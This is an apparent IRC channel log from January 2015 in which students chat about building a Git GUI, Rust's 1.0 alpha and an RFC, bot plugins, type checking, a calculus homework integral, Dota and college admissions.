[2015-01-09T21:37:51-0500] <+hardmath123> awe: there are only like 2 active people on there
[2015-01-09T21:37:53-0500] <+hardmath123> :(
[2015-01-09T21:38:02-0500] <@awe> That's unfortunate.
[2015-01-09T21:38:19-0500] <+hardmath123> alokpathy: I don't even know. We were trying to make an inuitive Git GUI.
[2015-01-09T21:39:08-0500] <alokpathy> Oh I see LOL
[2015-01-09T21:39:23-0500] <alokpathy> You guys had a lot of fun doing this I can tell xD
[2015-01-09T21:42:08-0500] <+hardmath123> Yeah
[2015-01-09T21:42:15-0500] <+hardmath123> It all started when Paley was like "Git is too hard for me"
[2015-01-09T21:42:32-0500] <+hardmath123> No, actually
[2015-01-09T21:42:57-0500] <+hardmath123> it all started when Paley was like "I have an issue with X" and I was like "file it on Github" and he was like "Github is too hard for me"
[2015-01-09T21:43:27-0500] <+hardmath123> So that was that.
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[2015-01-09T21:43:54-0500] <alokpathy> The beautiful artwork :')
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[2015-01-09T21:38:02-0500] <@awe> That's unfortunate.
[2015-01-09T21:38:19-0500] <+hardmath123> alokpathy: I don't even know. We were trying to make an inuitive Git GUI.
[2015-01-09T21:39:08-0500] <alokpathy> Oh I see LOL
[2015-01-09T21:39:23-0500] <alokpathy> You guys had a lot of fun doing this I can tell xD
[2015-01-09T21:42:08-0500] <+hardmath123> Yeah
[2015-01-09T21:42:15-0500] <+hardmath123> It all started when Paley was like "Git is too hard for me"
[2015-01-09T21:42:32-0500] <+hardmath123> No, actually
[2015-01-09T21:42:58-0500] <+hardmath123> it all started when Paley was like "I have an issue with X" and I was like "file it on Github" and he was like "Github is too hard for me"
[2015-01-09T21:43:27-0500] <+hardmath123> So that was that.
[2015-01-09T21:43:54-0500] <alokpathy> The beautiful artwork :')
[2015-01-09T22:10:05-0500] <Pharyngeal> awe: Which slack one?
[2015-01-09T22:10:38-0500] <failedxyz> hei
[2015-01-09T22:11:19-0500] <alokpathy> Hiya
[2015-01-09T22:12:10-0500] <failedxyz> finals week for me -_-
[2015-01-09T22:12:18-0500] <+hardmath123> hey failedxyz 
[2015-01-09T22:12:23-0500] <failedxyz> so obv waste time on irc
[2015-01-09T22:12:25-0500] <failedxyz> hei hardmath123
[2015-01-09T22:15:41-0500] <Pharyngeal> If y'all aren't peered with Hyperboria, you should be ;)
[2015-01-09T22:16:05-0500] <+hardmath123> awe: I found the "advanced" copy of the types in programming languages book in my bookshelf O_o
[2015-01-09T22:21:32-0500] Mode is +ns
[2015-01-09T22:21:38-0500] <@awe> hardmath123: cool
[2015-01-09T22:22:13-0500] <@awe> Pharyngeal: it's just a small slack group for a thing that's being organized.
[2015-01-09T22:23:12-0500] <alokpathy> failedxyz: I see no flaw in that logic
[2015-01-09T22:23:57-0500] <failedxyz> yupp
[2015-01-09T22:24:10-0500] <Tamini> whoa,
[2015-01-09T22:24:17-0500] <Tamini> a wild failedxyz appears :O
[2015-01-09T22:24:22-0500] <failedxyz> lol
[2015-01-09T22:24:25-0500] <failedxyz> hei Tamini
[2015-01-09T22:24:46-0500] <Tamini> hei yo
[2015-01-09T22:24:48-0500] <Tamini> what's up
[2015-01-09T22:28:34-0500] <failedxyz> screwed up 3 tests today
[2015-01-09T22:28:38-0500] <@awe> hi Tamini 
[2015-01-09T22:28:48-0500] <+hardmath123> hi Tamini !
[2015-01-09T22:29:35-0500] <+hardmath123> alokpathy: jokes aside, though, I feel Git could benefit from a decently inuitive GUI.
[2015-01-09T22:30:11-0500] <Tamini> hi awe, hardmath123 
[2015-01-09T22:30:13-0500] <alokpathy> Doesn't GH already have GUI for Windows?
[2015-01-09T22:30:28-0500] <+hardmath123> alokpathy: like, not just something that claims to be a GUI but is actually just lots of text in a window instead of a terminal
[2015-01-09T22:30:38-0500] <+hardmath123> alokpathy: which is what most/all Git GUIs are
[2015-01-09T22:31:31-0500] <@awe> GH's GUI is pretty lousy.
[2015-01-09T22:31:40-0500] <alokpathy> Oh, really? Dang.
[2015-01-09T22:31:50-0500] <failedxyz> what kind of GUI
[2015-01-09T22:32:05-0500] <failedxyz> i've heard bad things about github's GUI but idk how it can be better
[2015-01-09T22:32:50-0500] <+hardmath123> Well
[2015-01-09T22:33:06-0500] <+hardmath123> it would be a directed graph of dots representing commits
[2015-01-09T22:33:19-0500] <+hardmath123> and you would be able to do many things by interacting with the dots
[2015-01-09T22:34:44-0500] <failedxyz> hmm
[2015-01-09T22:34:54-0500] <failedxyz> you gonna make one?
[2015-01-09T22:35:37-0500] <+hardmath123> I would, except I don't know how to do decent GUIs outside the browser :(
[2015-01-09T22:35:40-0500] <alokpathy> I feel like this could be done for basic git functions.
[2015-01-09T22:36:00-0500] <+hardmath123> Except for a short and painful skirmish with NSViews in which I wrote a custom screensaver that my mom uses to this day.
[2015-01-09T22:37:03-0500] <failedxyz> you're on mac?
[2015-01-09T22:37:24-0500] <+hardmath123> Yes.
[2015-01-09T22:37:53-0500] <failedxyz> i only know swing and swing is retardedly slow
[2015-01-09T22:38:37-0500] <+hardmath123> I guess I could re-learn how to use Cocoa, but it's probably not worth it.
[2015-01-09T22:39:08-0500] <+hardmath123> The alternative is to actually do it in the browser, and have it communicate with the client via websockets (so you have to install a daemon).
[2015-01-09T22:39:11-0500] <+hardmath123> Ew.
[2015-01-09T22:40:12-0500] <failedxyz> or you could use one of those things that turns your html/js/css into some packaged application
[2015-01-09T22:40:45-0500] <+hardmath123> you mean node-webkit?
[2015-01-09T22:40:48-0500] <+hardmath123> yeah, I could, in theory
[2015-01-09T22:40:59-0500] <+hardmath123> it involves learning to use node-webkit
[2015-01-09T22:43:35-0500] <@awe> Oh god.
[2015-01-09T22:43:43-0500] <@awe> Then you'd make yet another shitty, unusable application
[2015-01-09T22:43:53-0500] <@awe> that won't scale because it's basically just a web browser.
[2015-01-09T22:43:55-0500] <+hardmath123> oh yeah and awe would probably hate me forever.
[2015-01-09T22:44:02-0500] <+hardmath123> forgot about that part.
[2015-01-09T22:44:35-0500] <@awe> I wouldn't hate you forever.
[2015-01-09T22:44:46-0500] <@awe> I'd probably be really upset because you could've made the client in a language where it would actually work.
[2015-01-09T22:44:46-0500] <alokpathy> Just for an extended period of time.
[2015-01-09T22:45:15-0500] <@awe> Seriously, Atom would be great if it actually worked.
[2015-01-09T22:45:29-0500] <+hardmath123> But I know no means of doing cross-platform GUIs.
[2015-01-09T22:45:37-0500] <failedxyz> java
[2015-01-09T22:45:40-0500] <failedxyz> but java is slow af
[2015-01-09T22:46:48-0500] <@awe> Well, Java is substantially faster than embedding a web browser in your application.
[2015-01-09T22:47:10-0500] <+hardmath123> Yes but I dislike Java GUIs.
[2015-01-09T22:47:28-0500] <@awe> Me too.
[2015-01-09T22:48:59-0500] <+hardmath123> I'm actually considering the ugly daemon and un-ugly webpage idea.
[2015-01-09T22:49:04-0500] <+hardmath123> Angels and Daemons.
[2015-01-09T22:49:11-0500] <@awe> It's not bad.
[2015-01-09T22:49:14-0500] <@awe> You can write the daemon in Rust.
[2015-01-09T22:49:49-0500] <+hardmath123> The goodness of an idea is not dependant on the feasibility of implementing it in Rust.
[2015-01-09T22:50:11-0500] <@awe> They were separate thoughts.
[2015-01-09T22:50:23-0500] <+hardmath123> Ah.
[2015-01-09T22:53:14-0500] <+hardmath123> http://chargen.matasano.com/chargen/2009/7/22/if-youre-typing-the-letters-a-e-s-into-your-code-youre-doing.html
[2015-01-09T22:54:51-0500] <+hardmath123> ^^^ I hope that's not actually how they interview candidates at matasano...
[2015-01-09T22:55:48-0500] <failedxyz> :o
[2015-01-09T22:56:26-0500] <failedxyz> ohyeah we're making some kind of video thing during mhacks and we're looking for people to make shitty comments on github repos lol
[2015-01-09T22:56:37-0500] <failedxyz> like this https://github.com/RitwikGupta/genomic-music/issues/1 lol
[2015-01-09T22:58:27-0500] <alokpathy> awe: Lol, Peter's comments on our HackP repo
[2015-01-09T22:58:35-0500] <@awe> Yup.
[2015-01-09T23:00:19-0500] <failedxyz> lol
[2015-01-09T23:01:54-0500] <alokpathy> "In one function you use ifs, in another you use a switch. MAKE UP YOUR MIND."
[2015-01-09T23:03:59-0500] <failedxyz> lolol
[2015-01-09T23:55:10-0500] <Tamini> oh oh
[2015-01-09T23:55:14-0500] <Tamini> funny story from work today:
[2015-01-09T23:55:31-0500] <Tamini> this like 6 year old boy was upset because this cute little girl stole his toy
[2015-01-09T23:55:47-0500] <Tamini> and the guy that was in charge was like "hey, it's a lesson about life. pretty girls take things from you"
[2015-01-09T23:55:48-0500] <Tamini> :P
[2015-01-10T00:01:47-0500] <+hardmath123> Awwww
[2015-01-10T00:01:55-0500] <+hardmath123> That's so sad :(
[2015-01-10T00:02:25-0500] <Tamini> so true
[2015-01-10T00:02:32-0500] <Tamini> tho
[2015-01-10T00:02:33-0500] <Tamini> :P
[2015-01-10T00:10:08-0500] <alokpathy> :(
[2015-01-10T00:11:29-0500] <nezorg> where does Tamini work?
[2015-01-10T00:12:06-0500] <Tamini> nezorg: this was just volunteering 
[2015-01-10T00:12:08-0500] <Tamini> for church stuff
[2015-01-10T00:12:12-0500] <nezorg> ah
[2015-01-10T00:12:42-0500] <Tamini> idk i just found this really funny
[2015-01-10T00:12:49-0500] <Tamini> so psa, don't date pretty girls? :P
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[2015-01-10T00:12:58-0500] <nezorg> kk
[2015-01-10T00:13:05-0500] <nezorg> can do
[2015-01-10T00:13:06-0500] <nezorg> easily
[2015-01-10T00:13:16-0500] <Tamini> lol
[2015-01-10T00:13:19-0500] <Tamini> but you're so cute
[2015-01-10T00:13:25-0500] <Tamini> seems like cute girls wouldnt leave you alone
[2015-01-10T00:13:32-0500] <nezorg> lol
[2015-01-10T00:13:37-0500] <Tamini> :P
[2015-01-10T00:13:50-0500] <nezorg> maybe I'm just oblivious
[2015-01-10T00:13:52-0500] <nezorg> :P
[2015-01-10T00:14:14-0500] <Tamini> maaaybe
[2015-01-10T00:14:19-0500] <Tamini> also i think i met someone at school
[2015-01-10T00:14:22-0500] <Tamini> that sorta looks like you
[2015-01-10T00:14:24-0500] <Tamini> it was weird
[2015-01-10T00:14:29-0500] <nezorg> le gasp
[2015-01-10T00:14:38-0500] <Tamini> he looks like a 
[2015-01-10T00:14:42-0500] <Tamini> desaturated version of you LOL
[2015-01-10T00:14:53-0500] <nezorg> ...desaturated?
[2015-01-10T00:14:56-0500] <Tamini> only way to describe it
[2015-01-10T00:14:57-0500] <Tamini> uhh
[2015-01-10T00:15:04-0500] <Tamini> similar color scheme but all the colors are less vivid
[2015-01-10T00:15:07-0500] <Tamini> :P
[2015-01-10T00:15:07-0500] <nezorg> I thought I was as white as they come
[2015-01-10T00:15:17-0500] <Tamini> he's less blond 
[2015-01-10T00:15:19-0500] <Tamini> and stuff
[2015-01-10T00:15:26-0500] <nezorg> huh
[2015-01-10T00:15:33-0500] <nezorg> alrighty then
[2015-01-10T00:15:39-0500] <Tamini> idk describing is hard
[2015-01-10T00:15:45-0500] <jwoglom> there are..different looking types of white people? (gasp)
[2015-01-10T00:16:00-0500] <nezorg> naaaaahhh
[2015-01-10T00:17:01-0500] <+LittleBobbyTables> omg
[2015-01-10T00:17:02-0500] <+LittleBobbyTables> nezorg
[2015-01-10T00:17:04-0500] <+LittleBobbyTables> are you watching
[2015-01-10T00:17:05-0500] <+LittleBobbyTables> this game
[2015-01-10T00:17:24-0500] <Tamini> are you kids watching doto omg
[2015-01-10T00:17:34-0500] <+LittleBobbyTables> pls
[2015-01-10T00:17:35-0500] <+LittleBobbyTables> its burning
[2015-01-10T00:17:37-0500] <+LittleBobbyTables> and rotk
[2015-01-10T00:17:38-0500] <nezorg> ...which game?
[2015-01-10T00:17:40-0500] <+LittleBobbyTables> and xaio8
[2015-01-10T00:17:42-0500] <+LittleBobbyTables> and iceiceice
[2015-01-10T00:17:45-0500] <+LittleBobbyTables> playing together
[2015-01-10T00:17:45-0500] <nezorg> oh
[2015-01-10T00:17:49-0500] <+LittleBobbyTables> burning came out of retirement
[2015-01-10T00:17:51-0500] <+LittleBobbyTables> with rotk
[2015-01-10T00:17:53-0500] <+LittleBobbyTables> just to play this game
[2015-01-10T00:17:54-0500] <nezorg> ...really?
[2015-01-10T00:17:58-0500] <+LittleBobbyTables> yes
[2015-01-10T00:17:59-0500] <nezorg> burning
[2015-01-10T00:18:01-0500] <nezorg> waoe
[2015-01-10T00:18:05-0500] <nezorg> *waow
[2015-01-10T00:18:06-0500] <+LittleBobbyTables> he's on medusa
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[2015-01-10T00:18:23-0500] <nezorg> got any good stares yet?
[2015-01-10T00:18:29-0500] <nezorg> or ehatever her ult is called
[2015-01-10T00:18:38-0500] <+LittleBobbyTables> they've just sort of ran through them
[2015-01-10T00:19:00-0500] <+LittleBobbyTables> not strong enough to do damage y et
[2015-01-10T00:19:23-0500] <nezorg> ah
[2015-01-10T00:19:31-0500] <nezorg> lemme load it up
[2015-01-10T00:26:47-0500] <+LittleBobbyTables> GGWP
[2015-01-10T00:28:05-0500] <nezorg> yeah really
[2015-01-10T00:29:57-0500] <+LittleBobbyTables> night
[2015-01-10T01:04:58-0500] <+hardmath123> http://blog.rust-lang.org/2015/01/09/Rust-1.0-alpha.html
[2015-01-10T01:05:10-0500] <+hardmath123> awe is listed #4 in contributors :D
[2015-01-10T01:05:16-0500] <+hardmath123> (I mean, it's alphabetical, so...)
[2015-01-10T01:05:53-0500] <@awe> YES
[2015-01-10T01:05:57-0500] <@awe> ALPHABETICAL ORDER IS THE BEST
[2015-01-10T01:07:45-0500] <@awe> Jacob Edelman <edelman.jd@gmail.com>
[2015-01-10T01:07:50-0500] <@awe> Welp, he made it.
[2015-01-10T01:07:54-0500] <@awe> He cheated, but he made it.
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[2015-01-10T01:17:46-0500] <+hardmath123> lol
[2015-01-10T01:18:28-0500] <@awe> In all fairness, all I did was implement Deref for Rc.
[2015-01-10T01:18:31-0500] <@awe> But still.
[2015-01-10T01:18:33-0500] <@awe> At least it was code.
[2015-01-10T01:18:43-0500] <+hardmath123> Yes.
[2015-01-10T01:18:50-0500] <@awe> And I've filed five issues.
[2015-01-10T01:18:55-0500] <@awe> And an RFC.
[2015-01-10T01:19:13-0500] <+hardmath123> What was the RFC on?
[2015-01-10T01:19:36-0500] <@awe> Defining the scope of the RFC process.
[2015-01-10T01:20:20-0500] <+hardmath123> much meta. nom.
[2015-01-10T01:20:29-0500] <@awe> It very vaguely states the Rust distribution, and it's not clear what exactly that means and if it includes, for example, Crates.io which is like npmjs.com.
[2015-01-10T01:20:59-0500] <@awe> They decided a somewhat important ecosystem-related issue with Crates.io privately and then announced the decision to the community.
[2015-01-10T01:21:01-0500] <@awe> A lot of people were upset.
[2015-01-10T01:21:15-0500] <@awe> (Myself somewhat, but admittedly half-heartedly, included)
[2015-01-10T01:22:01-0500] <@awe> And so I had a conversation with one of the new team members who brought up the discussion around that issue to begin with, and he was like "Well, you're right. We should have these things happen in RFCs."
[2015-01-10T01:22:06-0500] <@awe> So, I wrote an RFC for it.
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[2015-01-10T10:24:13-0500] <The_Master> @choose a a
[2015-01-10T10:30:29-0500] <@awe> http://www.openingupnorthkorea.com/downloads-2
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[2015-01-10T11:10:16-0500] <The_Master> awe: I now have durasteel armor!
[2015-01-10T11:10:21-0500] <@awe> Huzzah.
[2015-01-10T11:12:04-0500] <The_Master> awe: How do I get the next tier of techs? I have all of the first ones.
[2015-01-10T11:12:18-0500] <@awe> Starship upgrades.
[2015-01-10T11:14:03-0500] <+JacobEdelman> apush is hard
[2015-01-10T11:15:20-0500] <alokpathy> So is combo
[2015-01-10T11:20:23-0500] <+JacobEdelman> combo?
[2015-01-10T11:20:58-0500] <Tamini_> everything is hard
[2015-01-10T11:21:28-0500] <alokpathy> JacobEdelman: Combinatorics
[2015-01-10T11:21:32-0500] <alokpathy> Tamini_: Math is hard
[2015-01-10T11:21:35-0500] <alokpathy> Tamini_: Life is hard
[2015-01-10T11:21:42-0500] <Tamini_> veeery
[2015-01-10T11:26:54-0500] <@awe> I'm still on break, and so life is easy.
[2015-01-10T11:27:47-0500] <@awe> Although, my parents are home today, and I'm leaving tomorrow.
[2015-01-10T11:27:58-0500] <alokpathy> For NJ? :D
[2015-01-10T11:28:08-0500] <@awe> Yup
[2015-01-10T11:28:16-0500] <alokpathy> woo
[2015-01-10T11:28:17-0500] <alokpathy> visit :D
[2015-01-10T11:28:35-0500] <@awe> I mean, either way, you'll see me at PennApps.
[2015-01-10T11:29:05-0500] <alokpathy> But Colin
[2015-01-10T11:29:06-0500] <alokpathy> and Shannon
[2015-01-10T11:29:06-0500] <alokpathy> :D
[2015-01-10T11:29:17-0500] <alokpathy> and Koneru
[2015-01-10T11:29:22-0500] <@awe> lolkdog.
[2015-01-10T11:29:38-0500] <alokpathy> So you should come visit :P
[2015-01-10T11:30:29-0500] <@awe> I don't know if I'll have time since Lauren has a bunch of stuff to do in preparation of going to school.
[2015-01-10T11:30:42-0500] <@awe> And on Thursday, we're hopefully meeting up with one of my friends in Manhattan.
[2015-01-10T11:31:13-0500] <alokpathy> Aww okay
[2015-01-10T11:31:15-0500] <alokpathy> fair enough
[2015-01-10T11:39:07-0500] <alokpathy> http://www.clickhole.com/quiz/are-you-smart-enough-work-google-1656
[2015-01-10T12:34:09-0500] <@awe> Welp, I just revamped all the awebot plugins.
[2015-01-10T12:34:13-0500] <@awe> https://github.com/aatxe/awebot-plugins
[2015-01-10T12:36:56-0500] <@awe> (It's notpassing because the keybase plugin doesn't build because of upstream issues)
[2015-01-10T12:37:20-0500] <+hardmath123> So @tell is now awebot, not mailbot?
[2015-01-10T12:38:12-0500] <@awe> tell was originally an awebot plugin
[2015-01-10T12:38:42-0500] <@awe> but I made it a separate bot when there was a bug in dynamic library support that prevented me from actually using it as an awebot plugin.
[2015-01-10T12:38:51-0500] <@awe> The bug was later fixed, and now it works for both awebot and mailbot.
[2015-01-10T12:38:59-0500] <@awe> But I don't run the plugin in awebot because I know mailbot is already here.
[2015-01-10T12:39:18-0500] <@awe> That being said, if you wanted to set up a mailbot that was more controllable (i.e. you could tell him which channels to join and stuff at runtime)
[2015-01-10T12:39:38-0500] <@awe> You could use awebot with the tell plugin and the presence plugin.
[2015-01-10T12:40:10-0500] <@awe> And then whenever you said join in a message with channels in it (i.e. join #this #that), it'd join all the channels.
[2015-01-10T12:40:16-0500] <@awe> s/i.e./e.g./
[2015-01-10T12:40:25-0500] <@awe> And if you wanted him to part, same thing but with part.
[2015-01-10T12:41:03-0500] <@awe> I should probably discontinue mailbot and replace it with awebot instances.
[2015-01-10T12:41:23-0500] <@awe> It'd cut back the number of repositories I'm maintaining, and all the code is duplicated anyway.
[2015-01-10T12:41:41-0500] <@awe> I'll do that later today, maybe.
[2015-01-10T12:43:32-0500] <+hardmath123> So typechecking: can it just recursive-descent the AST and check types as it goes down, or is there something more subtle involved?
[2015-01-10T12:44:06-0500] <@awe> I'm not entirley sure.
[2015-01-10T12:44:08-0500] <@awe> entirely*
[2015-01-10T12:44:16-0500] <@awe> I know Rust's type checker is fairly complicated though.
[2015-01-10T12:44:26-0500] <+hardmath123> For example, (+ (* 1 2) 3) would see the `+`, then check if `(* 1 2)` was correctly of type `number` and then check if `3` was correctly of type `number`, then return `number`.
[2015-01-10T12:45:16-0500] <+hardmath123> Except, you also need to maintain a type environment so that you know what type variables are.
[2015-01-10T12:45:27-0500] <@awe> Well, one thing that'd definitely make it more complex is traits/interfaces/whatever.
[2015-01-10T12:45:37-0500] <+hardmath123> But where do you store the super/sub-class heirarchy?
[2015-01-10T12:45:51-0500] <+hardmath123> And how do composite types work?
[2015-01-10T12:46:05-0500] <+hardmath123> And what's the "correct" way to typecheck a recursive function?
[2015-01-10T12:46:38-0500] <@awe> Uhh, you check if the return type is always consistent, I'd imagine.
[2015-01-10T12:46:59-0500] <@awe> i.e. that every branch has the same return type
[2015-01-10T12:47:34-0500] <+hardmath123> Yeah, probably. So you halt the recursive-descent if you're recursing.
[2015-01-10T12:47:38-0500] <+hardmath123> Yuck.
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[2015-01-10T13:41:06-0500] <@awe> hardmath123: I mean, isn't it consistent to say that everything is an expression that has a type?
[2015-01-10T13:41:29-0500] <@awe> hardmath123: so, you check argument types and return types.
[2015-01-10T13:43:08-0500] <@awe> hardmath123: and then control flow stuff is just branching. So, to check if a function matches it's return type, you just check if each branch returns the correct type, even if it's recursive.
[2015-01-10T13:44:27-0500] <@awe> hardmath123: so, something like f x = f x can have the type a -> a -> a, type check, and still be infinitely recursive.
[2015-01-10T13:45:31-0500] <@awe> sorry, s/-> a -> a/-> b/
[2015-01-10T13:46:28-0500] <@awe> (the type of f x there is a -> b)
[2015-01-10T13:55:09-0500] <+hardmath123> awe: yeah, i think that makes sense
[2015-01-10T13:55:20-0500] <+hardmath123> awe: i'm going through the book in your dropbox. kinda helpful.
[2015-01-10T13:58:40-0500] <@awe> Yeah, it's pretty sweet.
[2015-01-10T13:59:06-0500] <@awe> hardmath123: basically, when you're typechecking a function, you just have to assume that other functions typecheck.
[2015-01-10T13:59:45-0500] <@awe> i.e. everything it calls returns what it claims to return.
[2015-01-10T14:06:24-0500] <+hardmath123> http://gue.cgwmuseum.org/galleries/others/prisoner_2_design_document.pdf
[2015-01-10T14:06:41-0500] <+hardmath123> Documentation of old interactive fiction games is so interesting.
[2015-01-10T14:15:33-0500] <Tamini_> yes, yes it is
[2015-01-10T14:38:30-0500] <+hardmath123> awe: also useful http://dev.stephendiehl.com/fun/type_systems.html
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[2015-01-10T15:35:52-0500] <bob_twinkles2>  /b 2
[2015-01-10T15:36:00-0500] <bob_twinkles2> one day I will stop doing that
[2015-01-10T15:36:04-0500] <bob_twinkles2> but today is not that day
[2015-01-10T15:37:02-0500] <jwoglom> bob_twinkles2: on my terminal setup i can just do (alt/option)+#, or alt+j ##
[2015-01-10T15:37:04-0500] <jwoglom> it's a lot easier
[2015-01-10T15:37:42-0500] <bob_twinkles2> I use alt as my xmonad mod key though
[2015-01-10T15:38:02-0500] <jwoglom> you could probably switch it to some other key
[2015-01-10T15:38:48-0500] <jwoglom> iirc i had to change my terminal settings for what it did
[2015-01-10T15:39:20-0500] <bob_twinkles2> I could but the only other option is the super key and that's harder to reach
[2015-01-10T15:40:15-0500] <Tamini> too lazy to move your hand i see
[2015-01-10T15:41:38-0500] <jwoglom> a lot of things seem to come down to sheer laziness
[2015-01-10T15:41:56-0500] <jwoglom> i think that's a new level of laziness, though, not wanting to move your finger one key over
[2015-01-10T15:48:05-0500] <+hardmath123> grr i'm out of programming shape. i'm failing at writing pattern matching in Scheme.
[2015-01-10T15:48:41-0500] <Tamini_> its okay
[2015-01-10T15:48:46-0500] <Tamini_> it'll come back to you
[2015-01-10T15:49:04-0500] <+hardmath123> thanks :)
[2015-01-10T15:49:16-0500] • hardmath123: summons the programming gods
[2015-01-10T16:11:56-0500] <+hardmath123> "(define (antidecent rule) ...)"
[2015-01-10T16:14:17-0500] <bob_twinkles2> I don't think I'm supposed to use the Daweson integral for this app sheet
[2015-01-10T16:16:47-0500] <bob_twinkles2> or the Fresnel integral
[2015-01-10T16:16:50-0500] <bob_twinkles2> that's probably also bad
[2015-01-10T16:22:43-0500] <+LittleBobbyTables> We just need to invent a keyboard with like 5 keys, and we push those keys in a certain order just to say different words. EZ
[2015-01-10T16:23:20-0500] <+hardmath123> Or one with just 2 keys. You pound them with your fists.
[2015-01-10T16:23:32-0500] <+LittleBobbyTables> They have to be really big keys
[2015-01-10T16:23:44-0500] <+LittleBobbyTables> How can you play video games with just 2 keys though
[2015-01-10T16:23:54-0500] <+LittleBobbyTables> You need at least 4.
[2015-01-10T16:26:24-0500] <+hardmath123> A DDR mat.
[2015-01-10T16:27:43-0500] <+LittleBobbyTables> But that requires moving a leg
[2015-01-10T16:27:45-0500] <+LittleBobbyTables> not just fingers
[2015-01-10T16:29:33-0500] <+hardmath123> But then fingers are free for eating.
[2015-01-10T16:29:42-0500] <+hardmath123> You don't know how much food lives inside my keyboard :(
[2015-01-10T16:30:03-0500] • hardmath123: licks some tomato sauce from under the space bar.
[2015-01-10T16:33:49-0500] <Tamini_> bob_twinkles2: wat ru doin
[2015-01-10T16:33:49-0500] <Tamini_> ru ok
[2015-01-10T16:34:27-0500] <bob_twinkles2> Tamini_: I keep ending up with nasty integrals that Mathematica is spitting out deep magic results
[2015-01-10T16:34:43-0500] <Tamini_> lol its okay
[2015-01-10T16:34:46-0500] <Tamini_> one problem
[2015-01-10T16:34:53-0500] <Tamini_> justin bui and i matlab'd
[2015-01-10T16:35:19-0500] <bob_twinkles2> this is on the FTC sheet though, so in theory I can do the integral by hand
[2015-01-10T16:35:23-0500] <bob_twinkles2> but I don't believe that
[2015-01-10T16:36:49-0500] <Tamini_> oh lol
[2015-01-10T16:36:52-0500] <Tamini_> wait which problem
[2015-01-10T16:37:01-0500] <bob_twinkles2> 4
[2015-01-10T16:37:06-0500] <Tamini_> are you playing 0/~0
[2015-01-10T16:37:11-0500] <Tamini_> that means nothing to me
[2015-01-10T16:37:16-0500] <bob_twinkles2> yeah
[2015-01-10T16:37:16-0500] <Tamini_> pls gib description
[2015-01-10T16:37:59-0500] <bob_twinkles2> Integrate [(2 (y^2) x - Sin[x^2]) dx + (3x^2 y + 2 e ^ (y ^ 2))dy]
[2015-01-10T16:38:20-0500] <bob_twinkles2> along y = x ^ ( 1/3 ) from (0, 0,) to (1, 1)
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[2015-01-10T16:39:15-0500] <bob_twinkles> there's no way Sin[x^2] or e ^ (x ^ (2/3)) goes to 0
[2015-01-10T16:42:22-0500] <Tamini_> oh
[2015-01-10T16:42:40-0500] <Tamini_> right
[2015-01-10T16:42:45-0500] <Tamini_> first of all
[2015-01-10T16:42:54-0500] <Tamini_> you get like two integrals right
[2015-01-10T16:43:08-0500] <Tamini_> stuff will die from 0/~0
[2015-01-10T16:43:08-0500] <bob_twinkles> yeah
[2015-01-10T16:43:11-0500] <Tamini_> stuff will cancel
[2015-01-10T16:43:22-0500] <Tamini_> and the main annoying thing will be the uh
[2015-01-10T16:43:30-0500] <Tamini_> sin(x^2) and stuff
[2015-01-10T16:43:34-0500] <bob_twinkles> that won't
[2015-01-10T16:43:38-0500] <Tamini_> but that can be solved with a clever usub
[2015-01-10T16:43:39-0500] <bob_twinkles> and that's what I was complaining about =P
[2015-01-10T16:43:50-0500] <Tamini_> or mathematica magics
[2015-01-10T16:43:58-0500] <bob_twinkles> goddamnit
[2015-01-10T16:44:07-0500] <bob_twinkles> this isn't even necissary =(
[2015-01-10T16:45:36-0500] <Tamini_> well who knows
[2015-01-10T16:45:45-0500] <Tamini_> he might make us do it on the test ;)
[2015-01-10T16:46:04-0500] <bob_twinkles> I don't even want to think about that
[2015-01-10T16:52:50-0500] <Tamini_> lol
[2015-01-10T16:53:01-0500] <Tamini_> i dont want to think about what i got on that last test
[2015-01-10T17:07:19-0500] <alokpathy> Tamini_: Lol I'm watching a football game.
[2015-01-10T17:07:24-0500] <alokpathy> Tamini_: I should ask Katz what this all means xD
[2015-01-10T17:07:33-0500] <Tamini_> LOL
[2015-01-10T17:07:44-0500] <Tamini_> asking a genius math kids about sports
[2015-01-10T17:07:46-0500] <Tamini_> 10/10
[2015-01-10T17:07:52-0500] <alokpathy> Well I know the basics
[2015-01-10T17:07:57-0500] <alokpathy> enough to watch, I guess
[2015-01-10T17:08:05-0500] <alokpathy> but idk what all the plays are and can't do much analysis.
[2015-01-10T17:11:16-0500] <alokpathy> Lol somebody in the stands is wearing a Red Sox shirt.
[2015-01-10T17:11:19-0500] <alokpathy> Wrong sport yo xD
[2015-01-10T17:11:45-0500] <+LittleBobbyTables> https://www.reddit.com/r/BestOfBaPC/comments/2rzgr4/irc_user_cant_figure_out_why_their_usb_30_cable/
[2015-01-10T17:24:17-0500] <alokpathy> LittleBobbyTables: lolol
[2015-01-10T17:24:32-0500] <alokpathy> Tamini_: There are a lot of athletes that come from Georgia Tech surprisingly.
[2015-01-10T17:24:37-0500] <alokpathy> Well, more than expected at least.
[2015-01-10T17:24:39-0500] <alokpathy> Meaning > 0
[2015-01-10T17:24:46-0500] <Tamini_> ooh
[2015-01-10T17:24:49-0500] <Tamini_> oh oh
[2015-01-10T17:24:54-0500] <Tamini_> did that come out?
[2015-01-10T17:25:35-0500] <alokpathy> Yeah, this morning.
[2015-01-10T17:30:58-0500] <Tamini_> good news, or?
[2015-01-10T17:31:25-0500] <alokpathy> Mhm, good news.
[2015-01-10T17:32:06-0500] <Tamini_> oh, yay! <3
[2015-01-10T17:32:23-0500] <Tamini_> my little baby got into college :')
[2015-01-10T17:33:33-0500] <alokpathy> I got into college a while back LOL
[2015-01-10T17:33:42-0500] <alokpathy> I already got into Rutgers and UMass
[2015-01-10T17:37:18-0500] <Tamini_> Oh wait yeah
[2015-01-10T17:37:19-0500] <Tamini_> LOL
[2015-01-10T17:37:21-0500] <Tamini_> I FORGOT OOPS
[2015-01-10T17:37:25-0500] <Tamini_> if you go to umass
[2015-01-10T17:37:31-0500] <Tamini_> thats you and awe both right :)
[2015-01-10T17:37:56-0500] <alokpathy> Ya
[2015-01-10T17:39:09-0500] <Tamini_> i am totally obligated to visit then
[2015-01-10T17:39:15-0500] <Tamini_> i want you to get into scs tho :/
[2015-01-10T17:40:20-0500] <alokpathy> I want to too :|
[2015-01-10T17:43:01-0500] <Tamini_> and next year
[2015-01-10T17:43:05-0500] <Tamini_> i want me to get in :P
[2015-01-10T17:44:57-0500] <alokpathy> xD
[2015-01-10T17:45:36-0500] <alokpathy> Lol so many penalties.
[2015-01-10T17:45:51-0500] <alokpathy> lolol
[2015-01-10T17:45:59-0500] <alokpathy> "Illegal contact. Defense."
[2015-01-10T17:46:02-0500] <alokpathy> [crowd cheers]
[2015-01-10T17:46:08-0500] <alokpathy> "Penalty declined."
[2015-01-10T17:46:10-0500] <alokpathy> "Aww"
